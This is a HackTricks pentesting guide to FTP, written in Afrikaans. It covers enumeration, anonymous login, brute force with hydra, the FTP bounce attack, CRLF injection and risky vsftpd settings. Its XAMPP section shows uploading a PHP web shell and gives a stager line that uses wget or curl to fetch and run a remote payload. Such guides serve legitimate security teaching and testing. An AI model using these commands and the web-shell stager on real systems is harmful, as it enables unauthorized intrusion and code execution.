21 - Pentesting FTP

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die Lêer-oordragprotokol (FTP) dien as ’n standaardprotokol vir lêeroordrag oor ’n rekenaarnetwerk tussen ’n server en ’n kliënt.\

Dit is ’n platte-tekst protokol wat die nuwe reël-karakter 0x0d 0x0a gebruik, daarom moet jy soms koppel met telnet of nc -C.

Verstekpoort: 21

PORT   STATE SERVICE
21/tcp open  ftp

Verbindinge Active & Passive

In Active FTP die FTP client eers initiates die control connection vanaf sy poort N na die FTP Server se command port – poort 21. Die client luister dan op poort N+1 en stuur die poort N+1 na die FTP Server. FTP Server dan initiates die data connection, vanaf its port M to the port N+1 van die FTP Client.

Maar, as die FTP Client ’n firewall het wat die inkomende data connections van buite beheer, kan Active FTP ’n probleem wees. ’n Werkbare oplossing daarvoor is Passive FTP.

In Passive FTP, die client initiates die control connection vanaf sy poort N na poort 21 van die FTP Server. Daarna gee die client ’n passv comand. Die server stuur dan vir die client een van sy poortnommers M. En die client initiates die data connection vanaf its port P to port M van die FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Verbindings-debugging

Die FTP commands debug en trace kan gebruik word om te sien hoe die kommunikasie plaasvind.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Verbind met FTP met behulp van starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Ongeauthentiseerde enum

Met nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Jy kan die kommando’s HELP en FEAT gebruik om inligting oor die FTP-bediener te verkry:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Anonieme aanmelding

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Hier kan jy ’n goeie lys van standaard FTP-inlogbewyse vind: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Geautomatiseer

Anon login and bounce FTP checks word standaard deur nmap met die -sC opsie uitgevoer, of:

nmap --script ftp-* -p 21 <ip>

Blaaierverbinding

Jy kan via ’n blaaier (soos Firefox) met ’n FTP-bediener verbind deur ’n URL soos die volgende te gebruik:

ftp://anonymous:anonymous@10.10.10.98

Neem kennis dat as ’n web application data wat deur ’n gebruiker beheer word directly to a FTP server stuur, kan jy double URL encode %0d%0a (in double URL encode dit is %250d%250a) bytes stuur en die FTP server perform arbitrary actions. Een van hierdie moontlike arbitrary actions is om inhoud te download vanaf ’n server wat deur die gebruiker beheer word, port scanning uit te voer, of te probeer kommunikeer met ander plain-text based services (soos http).

Laai alle lêers van FTP af

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

As jou gebruiker/wagwoord spesiale karakters bevat, kan die volgende kommando gebruik word:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP-root gemap na webroot (XAMPP)

  • XAMPP/ProFTPD map dikwels die FTP-root na /opt/lampp/htdocs, so swak creds op diensrekeninge soos daemon of nobody laat jou toe om upload a PHP web shell directly into the served webroot.
  • Nadat jy opgelaai het, trigger ’n architecture-aware download/exec stager via die shell, byvoorbeeld: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), wat ’n checksum-gevalideerde payload aflaai, dit stoor (bv. init_start), chmod +x toepas en dit uitvoer.
  • As die huidige gids nie skryf-/uitvoerbaar is nie, val die stager terug na /tmp, so toets webpaaie en filesystem-permissies nadat jy opgelaai het.

Sommige FTP-opdragte

  • USER username
  • PASS password
  • HELP Die bediener dui aan watter opdragte ondersteun word
  • PORT 127,0,0,1,0,80 Dit sal die FTP-bediener instrueer om ’n verbinding met die IP 127.0.0.1 op poort 80 te vestig (jy moet die 5de char as “0” sit en die 6de as die poort in desimaal of die 5de en 6de gebruik om die poort in heks uit te druk).
  • EPRT |2|127.0.0.1|80| Dit sal die FTP-bediener instrueer om ’n TCP-verbinding (aangedui deur “2”) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag supports IPv6.
  • LIST Dit stuur die lys van lêers in die huidige vouer
  • LIST -R Lys rekursief (indien deur die bediener toegelaat)
  • APPE /path/something.txt Dit dui die FTP aan om die data wat van ’n passive verbinding of van ’n PORT/EPRT-verbinding ontvang is na ’n lêer te skryf. As die lêernaam bestaan, sal dit die data aanhang.
  • STOR /path/something.txt Soortgelyk aan APPE maar dit sal die lêers oorskryf
  • STOU /path/something.txt Soortgelyk aan APPE, maar as dit bestaan sal dit niks doen nie.
  • RETR /path/to/file ’n Passive of ’n port-verbinding moet gevestig word. Dan sal die FTP-bediener die aangeduide lêer deur daardie verbinding stuur
  • REST 6 Dit dui die bediener aan dat die volgende keer wat dit iets stuur met RETR dit by die 6de byte moet begin.
  • TYPE i Stel oordrag na binêr
  • PASV Dit sal ’n passive verbinding oopmaak en sal die gebruiker aandui waarheen hy kan koppel
  • PUT /tmp/file.txt Laai die aangeduide lêer na die FTP op

FTPBounce attack

Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om aan die bediener te sê dat jy na ’n ander FTP-bediener op ’n sekere poort wil koppel. Jy kan dit dan gebruik om te scan watter poorte van ’n gasheer deur ’n FTP-bediener oop is.

Leer hier hoe om ’n FTP-bediener te misbruik om poorte te skandeer.

Jy kan hierdie gedrag ook misbruik om ’n FTP-bediener met ander protokolle te laat kommunikeer. Jy kan ’n upload a file containing an HTTP request en die kwesbare FTP-bediener laat send it to an arbitrary HTTP server (miskien om ’n nuwe admin user by te voeg?) of selfs ’n FTP-versoek oplaai en die kwesbare FTP-bediener laat ’n lêer van ’n ander FTP-bediener aflaai.
Die teorie is eenvoudig:

  1. Upload the request (inside a text file) to the vulnerable server. Onthou dat as jy met ’n ander HTTP- of FTP-bediener wil kommunikeer, jy reëls moet aanpas met 0x0d 0x0a
  2. Use REST X to avoid sending the characters you don’t want to send (miskien moes jy ’n image-header aan die begin plaas om die versoek in die lêer te kry)
  3. Use PORTto connect to the arbitrary server and service
  4. Use RETRto send the saved request to the server.

Dit is baie waarskynlik dat dit ’n fout soos Socket not writable sal laat ontstaan omdat die verbinding nie lank genoeg duur om die data met RETR te stuur nie. Voorstelle om dit te probeer vermy is:

  • As jy ’n HTTP-versoek stuur, sit dieselfde versoek na mekaar tot minstens ~0.5MB. Soos dit:

  • Probeer om die versoek met “junk” data te vul wat verband hou met die protokol (byvoorbeeld vir FTP net junk-opdragte of die RETR instruksie herhaal om die lêer te kry)
  • Vul die versoek net met baie nulkarakters of ander karakters (verdeeld oor lyne of nie)

In elk geval, hier is ’n ou voorbeeld oor hoe om dit te misbruik om ’n FTP-bediener ’n lêer van ’n ander FTP-bediener te laat aflaai.

FileZilla Server kwetsbaarheid

FileZilla bind gewoonlik ’n plaaslike administratiewe diens vir die FileZilla-Server (poort 14147). As jy ’n tunnel vanaf jou masjien kan skep om toegang tot hierdie poort te kry, kan jy daaraan koppel met ’n leë wagwoord en ’n nuwe gebruiker vir die FTP-diens skep.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

Die standaardkonfigurasie van vsFTPd is te vinde in /etc/vsftpd.conf. Hierin kan jy ’n paar gevaarlike instellings vind:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Gids vir anonymous.
  • chown_uploads=YES - Verander eienaarskap van deur anonymous opgelaaide lêers
  • chown_username=username - Gebruiker aan wie eienaarskap van deur anonymous opgelaaide lêers gegee word
  • local_enable=YES - Laat lokale gebruikers toe om aan te meld
  • no_anon_password=YES - Moenie anonymous vir ’n wagwoord vra nie
  • write_enable=YES - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE

Shodan

  • ftp
  • port:21

HackTricks Outomatiese Opdragte

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks